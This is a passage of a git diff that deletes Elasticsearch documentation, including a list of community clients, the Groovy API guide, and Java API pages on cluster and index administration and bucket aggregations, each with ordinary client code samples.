-* https://github.com/printercu/elastics-rb[elastics]:
-  Tiny client with built-in zero-downtime migrations and ActiveRecord integration.
-
-* https://github.com/toptal/chewy[chewy]:
-  Chewy is an ODM and wrapper for the official Elasticsearch client
-
-* https://github.com/ankane/searchkick[Searchkick]:
-  Intelligent search made easy
-
-* https://github.com/artsy/estella[Estella]:
-  Make your Ruby models searchable
-
-[[rust]]
-== Rust
-
-* https://github.com/benashford/rs-es[rs-es]:
-  A REST API client with a strongly-typed Query DSL.
-
-* https://github.com/elastic-rs/elastic[elastic]:
-  A modular REST API client that supports freeform queries.
-  
-[[scala]]
-== Scala
-
-* https://github.com/sksamuel/elastic4s[elastic4s]:
-  Scala DSL.
-
-* https://github.com/gphat/wabisabi[wabisabi]:
-  Asynchronous REST API Scala client.
-  
-* https://github.com/workday/escalar[escalar]:
-  Type-safe Scala wrapper for the REST API.
-
-* https://github.com/SumoLogic/elasticsearch-client[elasticsearch-client]:
-  Scala DSL that uses the REST API. Akka and AWS helpers included.
-
-[[smalltalk]]
-== Smalltalk
-
-* https://github.com/newapplesho/elasticsearch-smalltalk[elasticsearch-smalltalk] -
-  Pharo Smalltalk client for Elasticsearch
-
-[[vertx]]
-== Vert.x
-
-* https://github.com/reactiverse/elasticsearch-client[elasticsearch-client]:
-  An Elasticsearch client for Eclipse Vert.x
diff --git a/docs/groovy-api/anatomy.asciidoc b/docs/groovy-api/anatomy.asciidoc
deleted file mode 100644
index ba7cf83bb00..00000000000
--- a/docs/groovy-api/anatomy.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[[anatomy]]
-== API Anatomy
-
-Once a <<client,GClient>> has been
-obtained, all of Elasticsearch APIs can be executed on it. Each Groovy
-API is exposed using three different mechanisms.
-
-
-[[closure]]
-=== Closure Request
-
-The first type is to simply provide the request as a Closure, which
-automatically gets resolved into the respective request instance (for
-the index API, its the `IndexRequest` class). The API returns a special
-future, called `GActionFuture`. This is a groovier version of
-Elasticsearch Java `ActionFuture` (in turn a nicer extension to Java own
-`Future`) which allows to register listeners (closures) on it for
-success and failures, as well as blocking for the response. For example:
-
-[source,groovy]
---------------------------------------------------
-def indexR = client.index {
-    index "test"
-    type "_doc"
-    id "1"
-    source {
-        test = "value"
-        complex {
-            value1 = "value1"
-            value2 = "value2"
-        }
-    }
-}
-
-println "Indexed $indexR.response.id into $indexR.response.index/$indexR.response.type"
---------------------------------------------------
-
-In the above example, calling `indexR.response` will simply block for
-the response. We can also block for the response for a specific timeout:
-
-[source,groovy]
---------------------------------------------------
-IndexResponse response = indexR.response "5s" // block for 5 seconds, same as:
-response = indexR.response 5, TimeValue.SECONDS //
---------------------------------------------------
-
-We can also register closures that will be called on success and on
-failure:
-
-[source,groovy]
---------------------------------------------------
-indexR.success = {IndexResponse response ->
-    println "Indexed $response.id into $response.index/$response.type"
-}
-indexR.failure = {Throwable t ->
-    println "Failed to index: $t.message"
-}
---------------------------------------------------
-
-
-[[request]]
-=== Request
-
-This option allows to pass the actual instance of the request (instead
-of a closure) as a parameter. The rest is similar to the closure as a
-parameter option (the `GActionFuture` handling). For example:
-
-[source,groovy]
---------------------------------------------------
-def indexR = client.index (new IndexRequest(
-        index: "test",
-        type: "_doc",
-        id: "1",
-        source: {
-            test = "value"
-            complex {
-                value1 = "value1"
-                value2 = "value2"
-            }
-        }))
-
-println "Indexed $indexR.response.id into $indexR.response.index/$indexR.response.type"
---------------------------------------------------
-
-
-[[java-like]]
-=== Java Like
-
-The last option is to provide an actual instance of the API request, and
-an `ActionListener` for the callback. This is exactly like the Java API
-with the added `gexecute` which returns the `GActionFuture`:
-
-[source,groovy]
---------------------------------------------------
-def indexR = node.client.prepareIndex("test", "_doc", "1").setSource({
-    test = "value"
-    complex {
-        value1 = "value1"
-        value2 = "value2"
-    }
-}).gexecute()
---------------------------------------------------
diff --git a/docs/groovy-api/client.asciidoc b/docs/groovy-api/client.asciidoc
deleted file mode 100644
index c3c89e71bc5..00000000000
--- a/docs/groovy-api/client.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[client]]
-== Client
-
-Obtaining an Elasticsearch Groovy `GClient` (a `GClient` is a simple
-wrapper on top of the Java `Client`) is simple. The most common way to
-get a client is by starting an embedded `Node` which acts as a node
-within the cluster.
-
-
-[[node-client]]
-=== Node Client
-
-A Node based client is the simplest form to get a `GClient` to start
-executing operations against Elasticsearch.
-
-[source,groovy]
---------------------------------------------------
-import org.elasticsearch.groovy.client.GClient
-import org.elasticsearch.groovy.node.GNode
-import static org.elasticsearch.groovy.node.GNodeBuilder.nodeBuilder
-
-// on startup
-
-GNode node = nodeBuilder().node();
-GClient client = node.client();
-
-// on shutdown
-
-node.close();
---------------------------------------------------
-
-Since Elasticsearch allows to configure it using JSON based settings,
-the configuration itself can be done using a closure that represent the
-JSON:
-
-[source,groovy]
---------------------------------------------------
-import org.elasticsearch.groovy.node.GNode
-import org.elasticsearch.groovy.node.GNodeBuilder
-import static org.elasticsearch.groovy.node.GNodeBuilder.*
-
-// on startup
-
-GNodeBuilder nodeBuilder = nodeBuilder();
-nodeBuilder.settings {
-    node {
-        client = true
-    }
-    cluster {
-        name = "test"
-    }
-}
-
-GNode node = nodeBuilder.node()
-
-// on shutdown
-
-node.stop().close()
---------------------------------------------------
diff --git a/docs/groovy-api/delete.asciidoc b/docs/groovy-api/delete.asciidoc
deleted file mode 100644
index 3d654782004..00000000000
--- a/docs/groovy-api/delete.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[[delete]]
-== Delete API
-
-The delete API is very similar to the
-// {javaclient}/java-docs-delete.html[]
-Java delete API, here is an
-example:
-
-[source,groovy]
---------------------------------------------------
-def deleteF = node.client.delete {
-    index "test"
-    type "_doc"
-    id "1"
-}
---------------------------------------------------
diff --git a/docs/groovy-api/get.asciidoc b/docs/groovy-api/get.asciidoc
deleted file mode 100644
index 2cac8429c3e..00000000000
--- a/docs/groovy-api/get.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-[[get]]
-== Get API
-
-The get API is very similar to the
-// {javaclient}/java-docs-get.html[]
-Java get API. The main benefit
-of using groovy is handling the source content. It can be automatically
-converted to a `Map` which means using Groovy to navigate it is simple:
-
-[source,groovy]
---------------------------------------------------
-def getF = node.client.get {
-    index "test"
-    type "_doc"
-    id "1"
-}
-
-println "Result of field2: $getF.response.source.complex.field2"
---------------------------------------------------
diff --git a/docs/groovy-api/index.asciidoc b/docs/groovy-api/index.asciidoc
deleted file mode 100644
index e1bb81856f1..00000000000
--- a/docs/groovy-api/index.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-= Groovy API
-
-include::../Versions.asciidoc[]
-
-[preface]
-== Preface
-
-This section describes the http://groovy-lang.org/[Groovy] API
-Elasticsearch provides. All Elasticsearch APIs are executed using a
-<<client,GClient>>, and are completely
-asynchronous in nature (they either accept a listener, or return a
-future).
-
-The Groovy API is a wrapper on top of the
-{javaclient}[Java API] exposing it in a groovier
-manner. The execution options for each API follow a similar manner and
-covered in <<anatomy>>.
-
-
-[[maven]]
-=== Maven Repository
-
-The Groovy API is hosted on
-http://search.maven.org/#search%7Cga%7C1%7Ca%3A%22elasticsearch-groovy%22[Maven
-Central].
-
-For example, you can define the latest version in your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.elasticsearch</groupId>
-    <artifactId>elasticsearch-groovy</artifactId>
-    <version>{version}</version>
-</dependency>
---------------------------------------------------
-
-include::anatomy.asciidoc[]
-
-include::client.asciidoc[]
-
-include::index_.asciidoc[]
-
-include::get.asciidoc[]
-
-include::delete.asciidoc[]
-
-include::search.asciidoc[]
diff --git a/docs/groovy-api/index_.asciidoc b/docs/groovy-api/index_.asciidoc
deleted file mode 100644
index deefb30e031..00000000000
--- a/docs/groovy-api/index_.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[index_]]
-== Index API
-
-The index API is very similar to the
-// {javaclient}/java-docs-index.html[]
-Java index API. The Groovy
-extension to it is the ability to provide the indexed source using a
-closure. For example:
-
-[source,groovy]
---------------------------------------------------
-def indexR = client.index {
-    index "test"
-    type "_doc"
-    id "1"
-    source {
-        test = "value"
-        complex {
-            value1 = "value1"
-            value2 = "value2"
-        }
-    }
-}
---------------------------------------------------
-
-In the above example, the source closure itself gets transformed into an
-XContent (defaults to JSON). In order to change how the source closure
-is serialized, a global (static) setting can be set on the `GClient` by
-changing the `indexContentType` field.
-
-Note also that the `source` can be set using the typical Java based
-APIs, the `Closure` option is a Groovy extension.
diff --git a/docs/groovy-api/search.asciidoc b/docs/groovy-api/search.asciidoc
deleted file mode 100644
index 7834e45abc8..00000000000
--- a/docs/groovy-api/search.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[[search]]
-== Search API
-
-The search API is very similar to the
-// {javaclient}/java-search.html[]
-Java search API. The Groovy
-extension allows to provide the search source to execute as a `Closure`
-including the query itself (similar to GORM criteria builder):
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.search {
-    indices "test"
-    types "_doc"
-    source {
-        query {
-            term(test: "value")
-        }
-    }
-}
-
-search.response.hits.each {SearchHit hit ->
-    println "Got hit $hit.id from $hit.index/$hit.type"
-}
---------------------------------------------------
-
-It can also be executed using the "Java API" while still using a closure
-for the query:
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.prepareSearch("test").setQuery({
-        term(test: "value")
-}).gexecute();
-
-search.response.hits.each {SearchHit hit ->
-    println "Got hit $hit.id from $hit.index/$hit.type"
-}
---------------------------------------------------
-
-The format of the search `Closure` follows the same JSON syntax as the
-{ref}/search-search.html[Search API] request.
-
-
-[[more-examples]]
-=== More examples
-
-Term query where multiple values are provided (see
-{ref}/query-dsl-terms-query.html[terms]):
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.search {
-    indices "test"
-    types "_doc"
-    source {
-        query {
-            terms(test: ["value1", "value2"])
-        }
-    }
-}
---------------------------------------------------
-
-Query string (see
-{ref}/query-dsl-query-string-query.html[query string]):
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.search {
-    indices "test"
-    types "_doc"
-    source {
-        query {
-            query_string(
-                fields: ["test"],
-                query: "value1 value2")
-        }
-    }
-}
---------------------------------------------------
-
-Pagination (see
-{ref}/search-request-from-size.html[from/size]):
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.search {
-    indices "test"
-    types "_doc"
-    source {
-        from = 0
-        size = 10
-        query {
-            term(test: "value")
-        }
-    }
-}
---------------------------------------------------
-
-Sorting (see {ref}/search-request-sort.html[sort]):
-
-[source,groovy]
---------------------------------------------------
-def search = node.client.search {
-    indices "test"
-    types "_doc"
-    source {
-        query {
-            term(test: "value")
-        }
-        sort = [
-            date : [ order: "desc"]
-        ]
-    }
-}
---------------------------------------------------
diff --git a/docs/java-api/admin/cluster/health.asciidoc b/docs/java-api/admin/cluster/health.asciidoc
deleted file mode 100644
index 615a011cf72..00000000000
--- a/docs/java-api/admin/cluster/health.asciidoc
+++ /dev/null
@@ -1,76 +0,0 @@
-[[java-admin-cluster-health]]
-==== Cluster Health
-
-[[java-admin-cluster-health-health]]
-===== Health
-
-The cluster health API allows to get a very simple status on the health of the cluster and also can give you
-some technical information about the cluster status per index:
-
-[source,java]
---------------------------------------------------
-ClusterHealthResponse healths = client.admin().cluster().prepareHealth().get(); <1>
-String clusterName = healths.getClusterName();              <2>
-int numberOfDataNodes = healths.getNumberOfDataNodes();     <3>
-int numberOfNodes = healths.getNumberOfNodes();             <4>
-
-for (ClusterIndexHealth health : healths.getIndices().values()) { <5>
-    String index = health.getIndex();                       <6>
-    int numberOfShards = health.getNumberOfShards();        <7>
-    int numberOfReplicas = health.getNumberOfReplicas();    <8>
-    ClusterHealthStatus status = health.getStatus();        <9>
-}
---------------------------------------------------
-<1> Get information for all indices
-<2> Access the cluster name
-<3> Get the total number of data nodes
-<4> Get the total number of nodes
-<5> Iterate over all indices
-<6> Index name
-<7> Number of shards
-<8> Number of replicas
-<9> Index status
-
-[[java-admin-cluster-health-wait-status]]
-===== Wait for status
-
-You can use the cluster health API to wait for a specific status for the whole cluster or for a given index:
-
-[source,java]
---------------------------------------------------
-client.admin().cluster().prepareHealth()            <1>
-        .setWaitForYellowStatus()                   <2>
-        .get();
-client.admin().cluster().prepareHealth("company")   <3>
-        .setWaitForGreenStatus()                    <4>
-        .get();
-
-client.admin().cluster().prepareHealth("employee")  <5>
-        .setWaitForGreenStatus()                    <6>
-        .setTimeout(TimeValue.timeValueSeconds(2))  <7>
-        .get();
---------------------------------------------------
-<1> Prepare a health request
-<2> Wait for the cluster being yellow
-<3> Prepare the health request for index `company`
-<4> Wait for the index being green
-<5> Prepare the health request for index `employee`
-<6> Wait for the index being green
-<7> Wait at most for 2 seconds
-
-If the index does not have the expected status and you want to fail in that case, you need
-to explicitly interpret the result:
-
-[source,java]
---------------------------------------------------
-ClusterHealthResponse response = client.admin().cluster().prepareHealth("company")
-        .setWaitForGreenStatus()    <1>
-        .get();
-
-ClusterHealthStatus status = response.getIndices().get("company").getStatus();
-if (!status.equals(ClusterHealthStatus.GREEN)) {
-    throw new RuntimeException("Index is in " + status + " state"); <2>
-}
---------------------------------------------------
-<1> Wait for the index being green
-<2> Throw an exception if not `GREEN`
diff --git a/docs/java-api/admin/cluster/index.asciidoc b/docs/java-api/admin/cluster/index.asciidoc
deleted file mode 100644
index 4e1850a34fe..00000000000
--- a/docs/java-api/admin/cluster/index.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[[java-admin-cluster]]
-=== Cluster Administration
-
-To access cluster Java API, you need to call `cluster()` method from an <<java-admin,`AdminClient`>>:
-
-[source,java]
---------------------------------------------------
-ClusterAdminClient clusterAdminClient = client.admin().cluster();
---------------------------------------------------
-
-[NOTE]
-In the rest of this guide, we will use `client.admin().cluster()`.
-
-include::health.asciidoc[]
-
-include::stored-scripts.asciidoc[]
diff --git a/docs/java-api/admin/cluster/stored-scripts.asciidoc b/docs/java-api/admin/cluster/stored-scripts.asciidoc
deleted file mode 100644
index 5ebf89e92be..00000000000
--- a/docs/java-api/admin/cluster/stored-scripts.asciidoc
+++ /dev/null
@@ -1,29 +0,0 @@
-[[stored-scripts]]
-==== Stored Scripts API
-
-The stored script API allows one to interact with scripts and templates
-stored in Elasticsearch. It can be used to create, update, get,
-and delete stored scripts and templates.
-
-[source,java]
---------------------------------------------------
-PutStoredScriptResponse response = client.admin().cluster().preparePutStoredScript()
-                .setId("script1")
-                .setContent(new BytesArray("{\"script\": {\"lang\": \"painless\", \"source\": \"_score * doc['my_numeric_field'].value\"} }"), XContentType.JSON)
-                .get();
-
-GetStoredScriptResponse response = client().admin().cluster().prepareGetStoredScript()
-                .setId("script1")
-                .get();
-
-DeleteStoredScriptResponse response = client().admin().cluster().prepareDeleteStoredScript()
-                .setId("script1")
-                .get();
---------------------------------------------------
-
-To store templates simply use "mustache" for the scriptLang.
-
-===== Script Language
-
-The put stored script API allows one to set the language of the stored script.
-If one is not provided the default scripting language will be used.
diff --git a/docs/java-api/admin/index.asciidoc b/docs/java-api/admin/index.asciidoc
deleted file mode 100644
index 41599a82c7b..00000000000
--- a/docs/java-api/admin/index.asciidoc
+++ /dev/null
@@ -1,18 +0,0 @@
-[[java-admin]]
-== Java API Administration
-
-Elasticsearch provides a full Java API to deal with administration tasks.
-
-To access them, you need to call `admin()` method from a client to get an `AdminClient`:
-
-[source,java]
---------------------------------------------------
-AdminClient adminClient = client.admin();
---------------------------------------------------
-
-[NOTE]
-In the rest of this guide, we will use `client.admin()`.
-
-include::indices/index.asciidoc[]
-
-include::cluster/index.asciidoc[]
diff --git a/docs/java-api/admin/indices/create-index.asciidoc b/docs/java-api/admin/indices/create-index.asciidoc
deleted file mode 100644
index c04b3c8ef4f..00000000000
--- a/docs/java-api/admin/indices/create-index.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[java-admin-indices-create-index]]
-==== Create Index
-
-Using an <<java-admin-indices,`IndicesAdminClient`>>, you can create an index with all default settings and no mapping:
-
-[source,java]
---------------------------------------------------
-client.admin().indices().prepareCreate("twitter").get();
---------------------------------------------------
-
-[discrete]
-[[java-admin-indices-create-index-settings]]
-===== Index Settings
-
-Each index created can have specific settings associated with it.
-
-[source,java]
---------------------------------------------------
-client.admin().indices().prepareCreate("twitter")
-        .setSettings(Settings.builder()             <1>
-                .put("index.number_of_shards", 3)
-                .put("index.number_of_replicas", 2)
-        )
-        .get();                                     <2>
---------------------------------------------------
-<1> Settings for this index
-<2> Execute the action and wait for the result
-
diff --git a/docs/java-api/admin/indices/get-settings.asciidoc b/docs/java-api/admin/indices/get-settings.asciidoc
deleted file mode 100644
index 844aaf65ec9..00000000000
--- a/docs/java-api/admin/indices/get-settings.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[[java-admin-indices-get-settings]]
-==== Get Settings
-
-The get settings API allows to retrieve settings of index/indices:
-
-[source,java]
---------------------------------------------------
-GetSettingsResponse response = client.admin().indices()
-        .prepareGetSettings("company", "employee").get();                           <1>
-for (ObjectObjectCursor<String, Settings> cursor : response.getIndexToSettings()) { <2>
-    String index = cursor.key;                                                      <3>
-    Settings settings = cursor.value;                                               <4>
-    Integer shards = settings.getAsInt("index.number_of_shards", null);             <5>
-    Integer replicas = settings.getAsInt("index.number_of_replicas", null);         <6>
-}
---------------------------------------------------
-<1> Get settings for indices `company` and `employee`
-<2> Iterate over results
-<3> Index name
-<4> Settings for the given index
-<5> Number of shards for this index
-<6> Number of replicas for this index
diff --git a/docs/java-api/admin/indices/index.asciidoc b/docs/java-api/admin/indices/index.asciidoc
deleted file mode 100644
index bbd365076c7..00000000000
--- a/docs/java-api/admin/indices/index.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-[[java-admin-indices]]
-=== Indices Administration
-
-To access indices Java API, you need to call `indices()` method from an <<java-admin,`AdminClient`>>:
-
-[source,java]
---------------------------------------------------
-IndicesAdminClient indicesAdminClient = client.admin().indices();
---------------------------------------------------
-
-[NOTE]
-In the rest of this guide, we will use `client.admin().indices()`.
-
-include::create-index.asciidoc[]
-
-include::put-mapping.asciidoc[]
-
-include::refresh.asciidoc[]
-
-include::get-settings.asciidoc[]
-include::update-settings.asciidoc[]
diff --git a/docs/java-api/admin/indices/put-mapping.asciidoc b/docs/java-api/admin/indices/put-mapping.asciidoc
deleted file mode 100644
index 4c14310f6dc..00000000000
--- a/docs/java-api/admin/indices/put-mapping.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[java-admin-indices-put-mapping]]
-
-==== Put Mapping
-
-You can add mappings at index creation time:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-tests}/IndicesDocumentationIT.java[index-with-mapping]
---------------------------------------------------
-<1> <<java-admin-indices-create-index,Creates an index>> called `twitter`
-<2> Add a `_doc` type with a field called `message` that has the data type `text`.
-
-There are several variants of the above `addMapping` method, some taking an
-`XContentBuilder` or a `Map` with the mapping definition as arguments. Make sure
-to check the javadocs to pick the simplest one for your use case.
-
-The PUT mapping API also allows for updating the mapping after index
-creation. In this case you can provide the mapping as a String similar
-to the REST API syntax:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{client-tests}/IndicesDocumentationIT.java[putMapping-request-source]
---------------------------------------------------
-<1> Puts a mapping on existing index called `twitter`
-<2> Adds a new field `name` to the mapping
-<3> The type can be also provided within the source
-
-:base-dir!:
diff --git a/docs/java-api/admin/indices/refresh.asciidoc b/docs/java-api/admin/indices/refresh.asciidoc
deleted file mode 100644
index 856c270daf3..00000000000
--- a/docs/java-api/admin/indices/refresh.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-[[java-admin-indices-refresh]]
-==== Refresh
-
-The refresh API allows to explicitly refresh one or more index:
-
-[source,java]
---------------------------------------------------
-client.admin().indices().prepareRefresh().get(); <1>
-client.admin().indices()
-        .prepareRefresh("twitter")               <2>
-        .get();
-client.admin().indices()
-        .prepareRefresh("twitter", "company")   <3>
-        .get();
---------------------------------------------------
-<1> Refresh all indices
-<2> Refresh one index
-<3> Refresh many indices
-
diff --git a/docs/java-api/admin/indices/update-settings.asciidoc b/docs/java-api/admin/indices/update-settings.asciidoc
deleted file mode 100644
index 9c2cba2adf0..00000000000
--- a/docs/java-api/admin/indices/update-settings.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[[java-admin-indices-update-settings]]
-==== Update Indices Settings
-
-You can change index settings by calling:
-
-[source,java]
---------------------------------------------------
-client.admin().indices().prepareUpdateSettings("twitter")   <1>
-        .setSettings(Settings.builder()                     <2>
-                .put("index.number_of_replicas", 0)
-        )
-        .get();
---------------------------------------------------
-<1> Index to update
-<2> Settings
-
diff --git a/docs/java-api/aggregations/bucket.asciidoc b/docs/java-api/aggregations/bucket.asciidoc
deleted file mode 100644
index fe2e0ea9be3..00000000000
--- a/docs/java-api/aggregations/bucket.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[[java-aggregations-bucket]]
-
-include::bucket/global-aggregation.asciidoc[]
-
-include::bucket/filter-aggregation.asciidoc[]
-
-include::bucket/filters-aggregation.asciidoc[]
-
-include::bucket/missing-aggregation.asciidoc[]
-
-include::bucket/nested-aggregation.asciidoc[]
-
-include::bucket/reverse-nested-aggregation.asciidoc[]
-
-include::bucket/children-aggregation.asciidoc[]
-
-include::bucket/terms-aggregation.asciidoc[]
-
-include::bucket/significantterms-aggregation.asciidoc[]
-
-include::bucket/range-aggregation.asciidoc[]
-
-include::bucket/daterange-aggregation.asciidoc[]
-
-include::bucket/iprange-aggregation.asciidoc[]
-
-include::bucket/histogram-aggregation.asciidoc[]
-
-include::bucket/datehistogram-aggregation.asciidoc[]
-
-include::bucket/geodistance-aggregation.asciidoc[]
-
-include::bucket/geohashgrid-aggregation.asciidoc[]
diff --git a/docs/java-api/aggregations/bucket/children-aggregation.asciidoc b/docs/java-api/aggregations/bucket/children-aggregation.asciidoc
deleted file mode 100644
index f6a23fdafe9..00000000000
--- a/docs/java-api/aggregations/bucket/children-aggregation.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[[java-aggs-bucket-children]]
-==== Children Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-children-aggregation.html[Children Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-    AggregationBuilders
-        .children("agg", "reseller"); <1>
---------------------------------------------------
-1. `"agg"` is the name of the aggregation and `"reseller"` is the child type
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.join.aggregations.Children;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Children agg = sr.getAggregations().get("agg");
-agg.getDocCount(); // Doc count
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/datehistogram-aggregation.asciidoc b/docs/java-api/aggregations/bucket/datehistogram-aggregation.asciidoc
deleted file mode 100644
index 610262b046c..00000000000
--- a/docs/java-api/aggregations/bucket/datehistogram-aggregation.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[[java-aggs-bucket-datehistogram]]
-==== Date Histogram Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-datehistogram-aggregation.html[Date Histogram Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .dateHistogram("agg")
-                .field("dateOfBirth")
-                .calendarInterval(DateHistogramInterval.YEAR);
---------------------------------------------------
-
-Or if you want to set an interval of 10 days:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .dateHistogram("agg")
-                .field("dateOfBirth")
-                .fixedInterval(DateHistogramInterval.days(10));
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.histogram.Histogram;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Histogram agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Histogram.Bucket entry : agg.getBuckets()) {
-    DateTime key = (DateTime) entry.getKey();    // Key
-    String keyAsString = entry.getKeyAsString(); // Key as String
-    long docCount = entry.getDocCount();         // Doc count
-
-    logger.info("key [{}], date [{}], doc_count [{}]", keyAsString, key.getYear(), docCount);
-}
---------------------------------------------------
-
-This will basically produce for the first example:
-
-[source,text]
---------------------------------------------------
-key [1942-01-01T00:00:00.000Z], date [1942], doc_count [1]
-key [1945-01-01T00:00:00.000Z], date [1945], doc_count [1]
-key [1946-01-01T00:00:00.000Z], date [1946], doc_count [1]
-...
-key [2005-01-01T00:00:00.000Z], date [2005], doc_count [1]
-key [2007-01-01T00:00:00.000Z], date [2007], doc_count [2]
-key [2008-01-01T00:00:00.000Z], date [2008], doc_count [3]
---------------------------------------------------
-
-===== Order
-
-Supports the same order functionality as the <<java-aggs-bucket-terms,`Terms Aggregation`>>.
diff --git a/docs/java-api/aggregations/bucket/daterange-aggregation.asciidoc b/docs/java-api/aggregations/bucket/daterange-aggregation.asciidoc
deleted file mode 100644
index fa8f31e8cd0..00000000000
--- a/docs/java-api/aggregations/bucket/daterange-aggregation.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[java-aggs-bucket-daterange]]
-==== Date Range Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-daterange-aggregation.html[Date Range Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .dateRange("agg")
-                .field("dateOfBirth")
-                .format("yyyy")
-                .addUnboundedTo("1950")    // from -infinity to 1950 (excluded)
-                .addRange("1950", "1960")  // from 1950 to 1960 (excluded)
-                .addUnboundedFrom("1960"); // from 1960 to +infinity
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.range.Range;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Range agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Range.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKeyAsString();                // Date range as key
-    DateTime fromAsDate = (DateTime) entry.getFrom();   // Date bucket from as a Date
-    DateTime toAsDate = (DateTime) entry.getTo();       // Date bucket to as a Date
-    long docCount = entry.getDocCount();                // Doc count
-
-    logger.info("key [{}], from [{}], to [{}], doc_count [{}]", key, fromAsDate, toAsDate, docCount);
-}
---------------------------------------------------
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-key [*-1950], from [null], to [1950-01-01T00:00:00.000Z], doc_count [8]
-key [1950-1960], from [1950-01-01T00:00:00.000Z], to [1960-01-01T00:00:00.000Z], doc_count [5]
-key [1960-*], from [1960-01-01T00:00:00.000Z], to [null], doc_count [37]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/filter-aggregation.asciidoc b/docs/java-api/aggregations/bucket/filter-aggregation.asciidoc
deleted file mode 100644
index 3ffb05202bb..00000000000
--- a/docs/java-api/aggregations/bucket/filter-aggregation.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[java-aggs-bucket-filter]]
-==== Filter Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-filter-aggregation.html[Filter Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .filter("agg", QueryBuilders.termQuery("gender", "male"));
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.filter.Filter;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Filter agg = sr.getAggregations().get("agg");
-agg.getDocCount(); // Doc count
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/filters-aggregation.asciidoc b/docs/java-api/aggregations/bucket/filters-aggregation.asciidoc
deleted file mode 100644
index 0b782304dac..00000000000
--- a/docs/java-api/aggregations/bucket/filters-aggregation.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[java-aggs-bucket-filters]]
-==== Filters Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-filters-aggregation.html[Filters Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-    AggregationBuilders
-        .filters("agg",
-            new FiltersAggregator.KeyedFilter("men", QueryBuilders.termQuery("gender", "male")),
-            new FiltersAggregator.KeyedFilter("women", QueryBuilders.termQuery("gender", "female")));
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.filters.Filters;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Filters agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Filters.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKeyAsString();            // bucket key
-    long docCount = entry.getDocCount();            // Doc count
-    logger.info("key [{}], doc_count [{}]", key, docCount);
-}
---------------------------------------------------
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-key [men], doc_count [4982]
-key [women], doc_count [5018]
